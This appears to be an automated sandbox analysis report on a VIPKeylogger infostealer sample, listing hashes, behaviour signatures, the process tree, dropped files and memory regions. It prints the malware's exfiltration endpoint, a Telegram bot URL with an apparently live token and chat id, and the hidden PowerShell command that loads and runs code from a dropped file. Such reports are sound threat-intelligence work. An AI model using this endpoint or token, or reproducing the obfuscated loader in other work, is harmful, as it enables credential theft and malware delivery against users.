Analysis

  • max time kernel
    116s
  • max time network
    104s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/12/2024, 05:06

General

  • Target
    2bbb66a5bad18e8ca2fee4fec0bfc6ce83b1cc4852d712c986685f095b3589ceN.exe
  • Size 1.1MB
  • Sample241220-freh8a1nbr
  • SHA256 2bbb66a5bad18e8ca2fee4fec0bfc6ce83b1cc4852d712c986685f095b3589ce
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • vipkeylogger

C2
  • https://api.telegram.org/bot7745751910:AAGY46QDCTWO_Pw9iDqZhkNij-i4uwbMgzE/sendMessage?chat_id=7695061973

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Vipkeylogger family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2bbb66a5bad18e8ca2fee4fec0bfc6ce83b1cc4852d712c986685f095b3589ceN.exe
    "C:\Users\Admin\AppData\Local\Temp\2bbb66a5bad18e8ca2fee4fec0bfc6ce83b1cc4852d712c986685f095b3589ceN.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2032
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$Subleasing20=gc -raw 'C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\Afsyringer.Una';$Damselflies181=$Subleasing20.SubString(62296,3);.$Damselflies181($Subleasing20) "
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4052
      • C:\Users\Admin\AppData\Local\Temp\Mangedoblende.exe
        "C:\Users\Admin\AppData\Local\Temp\Mangedoblende.exe"
        3⤵
        • Loads dropped DLL
        • Accesses Microsoft Outlook profiles
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • outlook_office_path
        • outlook_win_path
        PID:3892

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        Mangedoblende.exe

        • Path C:\Users\Admin\AppData\Local\Temp\Mangedoblende.exe
        • Size 1.1MB
        • SHA256 2bbb66a5bad18e8ca2fee4fec0bfc6ce83b1cc4852d712c986685f095b3589ce
        • MD5 SHA1 SHA512 SSDEEP

        __PSScriptPolicyTest_c4l5ef5j.fsf.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c4l5ef5j.fsf.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        Afsyringer.Una

        • Path C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\Afsyringer.Una
        • Size 74KB
        • SHA256 fca8d4a203b4456bd2dcc7d9d8901762199381cd6436d6dafed510a94d173201
        • MD5 SHA1 SHA512 SSDEEP

        Countermeasure.Afs

        • Path C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\Countermeasure.Afs
        • Size 326KB
        • SHA256 5e4c3e81328f09a96778f6b07cfde424e0a7b553b59b2c815c2a725cbd73c4c4
        • MD5 SHA1 SHA512 SSDEEP

        nsExec.dll

        • Path C:\Users\Admin\AppData\Local\Temp\nswE3C9.tmp\nsExec.dll
        • Size 7KB
        • SHA256 1076ca39c449ed1a968021b76ef31f22a5692dfafeea29460e8d970a63c59906
        • MD5 SHA1 SHA512 SSDEEP

        memory/3892-92-0x0000000000470000-0x00000000016C4000-memory.dmp

        memory/3892-103-0x000000001F580000-0x000000001F58A000-memory.dmp

        memory/3892-102-0x000000001F4C0000-0x000000001F552000-memory.dmp

        memory/3892-99-0x0000000022820000-0x0000000022D4C000-memory.dmp

        memory/3892-98-0x0000000022740000-0x0000000022790000-memory.dmp

        memory/3892-97-0x0000000022570000-0x0000000022732000-memory.dmp

        memory/3892-95-0x00000000219B0000-0x0000000021A4C000-memory.dmp

        memory/3892-94-0x0000000000470000-0x00000000004BA000-memory.dmp

        memory/4052-53-0x00000000735C0000-0x0000000073D70000-memory.dmp

        memory/4052-59-0x0000000007E30000-0x0000000007E38000-memory.dmp

        memory/4052-30-0x00000000066A0000-0x00000000066BE000-memory.dmp

        memory/4052-31-0x00000000066F0000-0x000000000673C000-memory.dmp

        memory/4052-32-0x0000000007670000-0x0000000007706000-memory.dmp

        memory/4052-34-0x0000000006C50000-0x0000000006C72000-memory.dmp

        memory/4052-33-0x0000000006C00000-0x0000000006C1A000-memory.dmp

        memory/4052-35-0x0000000007F10000-0x00000000084B4000-memory.dmp

        memory/4052-37-0x0000000008B40000-0x00000000091BA000-memory.dmp

        memory/4052-38-0x0000000007AD0000-0x0000000007B02000-memory.dmp

        memory/4052-39-0x000000006FA50000-0x000000006FA9C000-memory.dmp

        memory/4052-49-0x0000000007B10000-0x0000000007B2E000-memory.dmp

        memory/4052-50-0x0000000007B40000-0x0000000007BE3000-memory.dmp

        memory/4052-51-0x0000000007C40000-0x0000000007C4A000-memory.dmp

        memory/4052-52-0x00000000735C0000-0x0000000073D70000-memory.dmp

        memory/4052-19-0x00000000060F0000-0x0000000006156000-memory.dmp

        memory/4052-54-0x00000000735C0000-0x0000000073D70000-memory.dmp

        memory/4052-55-0x0000000007DA0000-0x0000000007DB1000-memory.dmp

        memory/4052-56-0x0000000007DF0000-0x0000000007DFE000-memory.dmp

        memory/4052-57-0x0000000007E00000-0x0000000007E14000-memory.dmp

        memory/4052-58-0x0000000007E40000-0x0000000007E5A000-memory.dmp

        memory/4052-29-0x0000000006160000-0x00000000064B4000-memory.dmp

        memory/4052-61-0x0000000007EC0000-0x0000000007EE4000-memory.dmp

        memory/4052-60-0x0000000007E90000-0x0000000007EBA000-memory.dmp

        memory/4052-62-0x00000000735C0000-0x0000000073D70000-memory.dmp

        memory/4052-66-0x00000000735CE000-0x00000000735CF000-memory.dmp

        memory/4052-67-0x00000000735C0000-0x0000000073D70000-memory.dmp

        memory/4052-68-0x00000000735C0000-0x0000000073D70000-memory.dmp

        memory/4052-70-0x00000000735C0000-0x0000000073D70000-memory.dmp

        memory/4052-71-0x00000000735C0000-0x0000000073D70000-memory.dmp

        memory/4052-72-0x00000000091C0000-0x000000000ACEF000-memory.dmp

        memory/4052-73-0x00000000735C0000-0x0000000073D70000-memory.dmp

        memory/4052-74-0x00000000735C0000-0x0000000073D70000-memory.dmp

        memory/4052-75-0x00000000735C0000-0x0000000073D70000-memory.dmp

        memory/4052-18-0x0000000005990000-0x00000000059F6000-memory.dmp

        memory/4052-17-0x0000000005720000-0x0000000005742000-memory.dmp

        memory/4052-16-0x00000000735C0000-0x0000000073D70000-memory.dmp

        memory/4052-15-0x0000000005A50000-0x0000000006078000-memory.dmp

        memory/4052-14-0x00000000735C0000-0x0000000073D70000-memory.dmp

        memory/4052-13-0x00000000030D0000-0x0000000003106000-memory.dmp

        memory/4052-12-0x00000000735CE000-0x00000000735CF000-memory.dmp

        memory/4052-77-0x00000000735C0000-0x0000000073D70000-memory.dmp

        memory/4052-78-0x00000000735C0000-0x0000000073D70000-memory.dmp